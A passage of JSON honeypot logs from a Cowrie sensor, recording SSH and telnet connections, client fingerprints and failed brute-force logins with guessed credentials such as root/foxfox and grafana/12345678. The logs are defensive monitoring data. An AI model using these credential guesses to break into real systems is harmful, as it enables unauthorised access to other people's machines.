ha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:27.501545Z","src_ip":"37.233.85.71","session":"60f485c47eff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:27.508272Z","src_ip":"77.94.47.83","session":"bc889ecf3e7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"foxfox","message":"login attempt [root/foxfox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:27.830348Z","src_ip":"37.233.85.71","session":"60f485c47eff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60360,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1d17e80461a","protocol":"telnet","message":"New connection: 172.81.62.90:60360 (159.203.135.109:23) [session: d1d17e80461a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:28.387452Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":50996,"dst_ip":"159.203.135.109","dst_port":22,"session":"28fe5f4df836","protocol":"ssh","message":"New connection: 80.66.85.226:50996 (159.203.135.109:22) [session: 28fe5f4df836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:28.894217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:28.898521Z","src_ip":"80.66.85.226","session":"28fe5f4df836","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:28.943392Z","src_ip":"37.233.85.71","session":"60f485c47eff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:28.987352Z","src_ip":"80.66.85.226","session":"28fe5f4df836","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elektro","message":"login attempt [root/elektro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:29.254257Z","src_ip":"80.66.85.226","session":"28fe5f4df836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":40596,"dst_ip":"159.203.135.109","dst_port":23,"session":"427273c35638","protocol":"telnet","message":"New connection: 107.6.151.170:40596 (159.203.135.109:23) [session: 427273c35638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:29.641965Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:30.346167Z","src_ip":"80.66.85.226","session":"28fe5f4df836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":46414,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8804a8fd165","protocol":"ssh","message":"New connection: 161.132.50.236:46414 (159.203.135.109:22) [session: d8804a8fd165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:30.539775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:30.546289Z","src_ip":"161.132.50.236","session":"d8804a8fd165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:30.637652Z","src_ip":"161.132.50.236","session":"d8804a8fd165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"1","message":"login attempt [lighthouse/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:31.025834Z","src_ip":"161.132.50.236","session":"d8804a8fd165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":39478,"dst_ip":"10.17.0.5","dst_port":22,"session":"f266e1616260","protocol":"ssh","message":"New connection: 38.93.206.2:39478 (10.17.0.5:22) [session: f266e1616260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:31.188746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:31.194486Z","src_ip":"38.93.206.2","session":"f266e1616260","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:31.246151Z","src_ip":"38.93.206.2","session":"f266e1616260","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112234","message":"login attempt [root/112234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:31.399925Z","src_ip":"38.93.206.2","session":"f266e1616260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:32.116684Z","src_ip":"161.132.50.236","session":"d8804a8fd165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:32.453212Z","src_ip":"38.93.206.2","session":"f266e1616260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.73037505149841,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:45.926520Z","src_ip":"107.6.151.170","session":"288baa97c89d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":41444,"dst_ip":"159.203.135.109","dst_port":22,"session":"032a22d193d9","protocol":"ssh","message":"New connection: 103.82.132.16:41444 (159.203.135.109:22) [session: 032a22d193d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:54.409779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:54.414241Z","src_ip":"103.82.132.16","session":"032a22d193d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:54.667013Z","src_ip":"103.82.132.16","session":"032a22d193d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"24101983","message":"login attempt [root/24101983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:55.427114Z","src_ip":"103.82.132.16","session":"032a22d193d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:56.684286Z","src_ip":"103.82.132.16","session":"032a22d193d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.17747449874878,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:43:02.819326Z","src_ip":"107.6.151.170","session":"427273c35638","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.81594491004944,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:43:08.203252Z","src_ip":"172.81.62.90","session":"d1d17e80461a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":44392,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ace8e6f940a","protocol":"ssh","message":"New connection: 27.71.230.31:44392 (159.203.135.109:22) [session: 4ace8e6f940a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:43:15.249447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:43:15.310338Z","src_ip":"27.71.230.31","session":"4ace8e6f940a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:43:16.990603Z","src_ip":"27.71.230.31","session":"4ace8e6f940a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"king@1234","message":"login attempt [root/king@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:43:21.445251Z","src_ip":"27.71.230.31","session":"4ace8e6f940a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:43:22.926923Z","src_ip":"27.71.230.31","session":"4ace8e6f940a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":35002,"dst_ip":"10.17.0.5","dst_port":22,"session":"367513164420","protocol":"ssh","message":"New connection: 14.63.196.175:35002 (10.17.0.5:22) [session: 367513164420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:43:55.486408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:43:55.490865Z","src_ip":"14.63.196.175","session":"367513164420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:43:55.693664Z","src_ip":"14.63.196.175","session":"367513164420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grafana","password":"12345678","message":"login attempt [grafana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:43:56.539782Z","src_ip":"14.63.196.175","session":"367513164420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:43:57.745068Z","src_ip":"14.63.196.175","session":"367513164420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":41494,"dst_ip":"159.203.135.109","dst_port":22,"session":"fefdf2f436e5","protocol":"ssh","message":"New connection: 161.132.50.236:41494 (159.203.135.109:22) [session: fefdf2f436e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:44:15.961338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:44:15.967395Z","src_ip":"161.132.50.236","session":"fefdf2f436e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:44:16.061230Z","src_ip":"161.132.50.236","session":"fefdf2f436e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nils","password":"nils","message":"login attempt [nils/nils] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:44:16.449246Z","src_ip":"161.132.50.236","session":"fefdf2f436e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:44:17.539979Z","src_ip":"161.132.50.236","session":"fefdf2f436e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39800,"dst_ip":"159.203.135.109","dst_port":23,"session":"5683c096e7a8","protocol":"telnet","message":"New connection: 128.199.8.54:39800 (159.203.135.109:23) [session: 5683c096e7a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:44:54.437721Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":59420,"dst_ip":"10.17.0.5","dst_port":22,"session":"32a11a269fc4","protocol":"ssh","message":"New connection: 103.82.20.28:59420 (10.17.0.5:22) [session: 32a11a269fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:45:14.200485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:45:14.207994Z","src_ip":"103.82.20.28","session":"32a11a269fc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-ni